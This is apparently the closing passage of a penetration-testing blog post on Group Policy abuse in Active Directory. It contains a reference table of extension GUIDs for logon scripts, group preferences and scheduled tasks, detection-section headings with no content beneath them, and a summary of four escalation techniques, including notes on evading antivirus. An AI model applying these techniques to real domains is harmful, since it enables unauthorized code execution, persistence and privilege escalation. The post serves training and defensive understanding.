But here's the thing. If you don't understand what SharpGPOAbuse is doing under the hood, you can't troubleshoot when it fails (and it will, eventually - maybe AV eats it, maybe you're in a constrained language mode, maybe there's a version mismatch). You can't adapt the technique to edge cases. You can't detect it properly if you're on the blue side. And you definitely can't explain it in a report or a talk.

The manual approach also has an OPSEC advantage: you're not dropping a known-malicious binary on disk. Everything we did was with PowerView (which many environments already have or can be loaded reflectively) and basic file operations on SYSVOL. No SharpGPOAbuse.exe sitting in C:\Tools waiting for Defender to flag it.

A Quick CSE Reference

Throughout this post we used several CSE GUID pairs. Here's a consolidated reference so you don't have to scroll back up every time:

Abuse Technique CSE GUID Tool Extension GUID Scope Attribute
Logon Scripts {42B5FAAE-6536-11D2-AE5A-0000F87571E3} {40B66650-4972-11D1-A7CA-0000F87571E3} gpcuserextensionnames
Group Preferences {00000000-0000-0000-0000-000000000000} + {17D89FEC-5C44-4972-B12D-241CAEF74509} {79F92669-4224-476C-9C5C-6EFB4D87DF4A} user or machine
Scheduled Tasks {00000000-0000-0000-0000-000000000000} + {AADCED64-746C-4633-A97C-D61349046527} {CAB54552-DEEA-4691-817E-ED4A4D1AFC72} user or machine

Detection Opportunities

We just spent this entire post tearing through GPOs from the attacker's perspective. But if you're a defender reading this (or if you're an attacker who wants to understand what the blue team is looking for), here's what to watch for:

Event Logs:

SYSVOL Monitoring:

GPO Version Number Anomalies:

ACL Auditing:

Conclusion

Group Policy is one of those AD features that's so deeply embedded in enterprise infrastructure that people forget it's also a massive attack surface. If you can edit a GPO - or more precisely, if you can write to its AD object and its SYSVOL path - you can push arbitrary code execution, modify local group memberships, and deploy scheduled tasks across every machine and user in the linked OU. And if that GPO is enforced (linkOptions = 2), inheritance blocking won't save anyone.

What makes GPO abuse particularly effective from an attacker's perspective is that it's entirely living off the land. We didn't drop any custom malware. We didn't exploit a CVE. We used the same mechanisms that legitimate administrators use every single day - scripts.ini, Groups.xml, ScheduledTasks.xml, CSE GUIDs, version bumps. The infrastructure is doing exactly what it was designed to do; it's just doing it for us now.

The four techniques we walked through escalate in impact:

  1. Logon scripts give us user-context execution - useful for lateral movement and credential harvesting.
  2. User-scope group membership gives us persistent local admin - survives reboots, reapplied every GP refresh.
  3. Machine-scope group membership does the same thing but doesn't need anyone to log in.
  4. Immediate scheduled tasks give us SYSTEM-level execution on demand - the endgame.

Go build this in your lab. Break it. Fix it. Break it again. That's the only way this stuff sticks.